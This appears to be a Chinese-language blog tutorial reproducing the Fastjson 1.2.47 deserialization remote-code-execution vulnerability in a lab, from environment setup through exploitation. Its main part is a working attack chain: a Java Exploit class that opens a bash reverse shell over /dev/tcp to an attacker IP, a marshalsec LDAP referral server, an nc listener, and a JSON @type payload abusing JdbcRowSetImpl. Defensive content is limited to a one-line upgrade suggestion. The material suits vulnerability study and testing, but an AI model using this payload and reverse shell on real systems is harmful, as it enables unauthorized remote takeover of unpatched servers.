写点什么

Fastjson 的反序列化漏洞复现

  • 2022-12-26
    湖南
  • 本文字数:2469 字

    阅读完需:约 8 分钟

1.漏洞概述

Fastjson 提供了 autotype 功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson 自定义的反序列化机制时会调用指定类中的 setter 方法及部分 getter 方法,那么当组件开启了 autotype 功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定 setter 或者 getter 方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在 Fastjson 1.2.47 及以下版本中,利用其缓存机制可实现对未开启 autotype 功能的绕过

2.影响版本

  • Fastjson<=1.2.47

3.环境准备

3.1 主机准备

  • linux 主机:1 台(靶机)

  • Kail:1 台(监听)

  • Windows:1 台(复现实施,burp 抓包)

3.2 相关安装包准备

  • fastjson1.2.47.tar.gz

  • JDK1.8,下载地址


https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
复制代码


  • maven3.6.3,下载地址


https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/
复制代码


  • marshalsec 下载地址


java 反序列化利用工具,该工具可以快速开启 RMI 以及 LDAP 服务,但需要使用 maven 编译(下文会讲):https://github.com/mbechler/marshalsec


【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

4.环境搭建

4.1 Linux 主机(本文采用 centos7.7)安装 docker

  • 安装所需软件包


yum install -y yum-utils device-mapper-persistent-data lvm2


  • 设置 yum 源yum-config-manager --add-repo http://download.docker.com/linux/centos/docker-ce.repo

  • 安装 docker


yum -y install docker-ce-18.03.1.ce

4.2 镜像环境部署

  • 拉取镜像环境docker pull rightctrl/tomcat

  • 映射到服务器 8080 端口


docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat


  • 测试页面访问是否成功,http://ip:8080


  • 将 fastjson 安装至 tomcat 环境


将下载的 fastjson1.2.47.tar.gz 上传至主机并解压:tar -zxvf fastjson1.2.47.tar.gz复制到 tomcat 的 webapps 目录下docker cp fastjson tomcat:/opt/tomcat/webapps/(注意 fastjson 的文件名及 tomcat 路径未必一样)测试页面访问http://ip:8080/fastjson (url 路径与 fastjson 文件名有关)


4.3 kail 环境安装

  • 安装 JDK


新建目录,将下载的 jdk 的安装包复制过去并进行解压


mkdir /usr/local/java
cp jdk-8u202-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
tar -xzvf jdk-8u202-linux-x64.tar.gz
复制代码


添加环境变量:


vi /etc/profile
JAVA_HOME=/usr/local/java/jdk1.8.0_202 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
复制代码


安装(注意 java 版本本文使用 jdk1.8.0_202):


update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
复制代码


加载 profile:


source /etc/profile


查看 java 版本:


java -version



  • 安装 maven3.6.3


下载 apache-maven-3.6.3-bin.tar.gz 安装包复制到/usr/local 目录下,解压:tar -zxvf apache-maven-3.6.3-bin.tar.gz创建仓库目录:mkdir /usr/local/apache-maven-3.6.3/repo备份并修改 maven 配置文件:


cp /usr/local/apache-maven-3.6.3/conf/settings.xml /usr/local/apache-maven-3.6.3/conf/settings.xml.bak
vi /usr/local/apache-maven-3.6.3/conf/settings.xml
复制代码


添加安装路径,如截图位置添加该路径:



配置阿里仓库源,修改为如下截图:



添加环境变量:


vi /etc/profile


在最后一行添加:


export MAVEN_HOME=/usr/local/apache-maven-3.6.3export PATH=$PATH:$MAVEN_HOME/bin


重新加载:


source /etc/profile


测试配置是否成功:


mvn -v



  • 下载并编译 marshalsec


通过上面链接下载后上传到 kail 并解压:



unzip marshalsec-master.zip




marshalsec 目录下编译:


cd marshalsec-mastermvn clean package -DskipTests
复制代码


编译完成后,到/marshalsec-master/target 目录下会有这个文件 marshalsec-0.0.3-SNAPSHOT-all.jar:


5.漏洞复现

5.1 编译生成 Exploit.class**

将以下代码保存为 Exploit.java


import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
复制代码


Exploit.java 文件上传到 kail 进行编译,得到 Exploit.class 文件:


javac Exploit.java

5.2 开启监听(kail 上操作)

  • 使用 python 快速起一个 web


记得将 Exploit.class 文件放在 web 的目录下,即在哪个路径起 web 就放在哪里:python2:python -m SimpleHTTPServer 1111python3:Python -m http.server 1111



  • 开启 ldap 服务


到 kail 的/marshalsec-master/target 目录下执行:


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999



  • 开启 nc 监听


nc -lvp 1888



  • 发包测试


访问 fastjson 页面 Burp 发包,改为 POST 请求,使用 EXP:



EXP 代码如下:


{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ip:9999/Exploit", "autoCommit":true } }
复制代码


  • 反弹 shell 成功


6.修复建议

升级至最新版本即可


用户头像

我是一名网络安全渗透师 2021-06-18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
Fastjson的反序列化漏洞复现_黑客_网络安全学海_InfoQ写作社区